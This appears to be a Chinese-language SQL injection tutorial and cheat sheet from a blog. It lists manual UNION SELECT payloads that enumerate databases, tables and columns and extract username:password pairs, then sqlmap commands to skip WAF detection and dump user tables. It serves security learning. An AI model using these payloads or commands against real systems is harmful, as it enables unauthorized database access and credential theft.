一、基础知识
1. 核心系统库
information_schema.schemata -- 存储所有数据库信息
information_schema.tables -- 存储所有表信息
information_schema.columns -- 存储所有列信息
2. 数据结构层级
数据库(database) → 表(table) → 列(column) → 数据(data)
例:xxx库 → users表 → id,username,password列
二、手工SQL注入
1. 注入点判断
# 经典测试方法
?id=1' -- 报错测试
?id=1 and 1=1 -- 真条件,正常返回
?id=1 and 1=2 -- 假条件,无返回或异常
?id=1' --+ -- 注释测试(MySQL)
?id=1;-- -- 注释测试(SQL Server)
2. 查询当前数据库所有库
-- 查询语法
SELECT schema_name FROM information_schema.schemata
-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23
3. 查询当前库所有表
-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
4. 常用Payload速查
| 目的 |
Payload |
| 查版本 |
union select 1,2,version() |
| 查当前库 |
union select 1,2,database() |
| 查当前用户 |
union select 1,2,user() |
| 查所有库 |
union select 1,2,group_concat(schema_name) from information_schema.schemata |
| 查所有表 |
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() |
| 查所有列 |
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' |
| 查数据 |
union select 1,2,group_concat(username,':',password) from users |
三、SQLMap工具使用
1. 官方资源
2. 常用命令
# 基础扫描
sqlmap -u "http://target.com/?id=1"
# 查看详细信息(推荐-v 3)
sqlmap -u "http://target.com/?id=1" -v 3
# 不检测WAF(提高速度)
sqlmap -u "http://target.com/?id=1" --skip-waf
# 保存HTTP日志
sqlmap -u "http://target.com/?id=1" -t http_log.txt
# 指定数据库类型
sqlmap -u "http://target.com/?id=1" --dbms=mysql
# 获取所有数据库
sqlmap -u "http://target.com/?id=1" --dbs
# 获取当前数据库的表
sqlmap -u "http://target.com/?id=1" -D database_name --tables
# 获取表中的列
sqlmap -u "http://target.com/?id=1" -D database_name -T users --columns
# Dump数据
sqlmap -u "http://target.com/?id=1" -D database_name -T users -C username,password --dump
3. 详细等级说明 (-v参数)
| 等级 |
说明 |
| 0 |
只显示Python错误和严重信息 |
| 1 |
同时显示信息和警告(默认) |
| 2 |
同时显示调试信息 |
| 3 |
同时显示注入Payload |
| 4 |
同时显示HTTP请求 |
| 5 |
同时显示HTTP响应头 |
| 6 |
同时显示HTTP响应内容 |
四、学习路径建议
第一阶段:理解原理
↓ 掌握SQL语法、数据库结构
第二阶段:手工注入
↓ 练习判断注入点、构造Payload、读取数据
第三阶段:工具使用
↓ 学习SQLMap参数、理解工具原理
第四阶段:绕过与防御
↓ 学习WAF绕过、掌握防御方案(参数化查询、预编译)
原文 https://blog.csdn.net/2301_79518550/article/details/153873808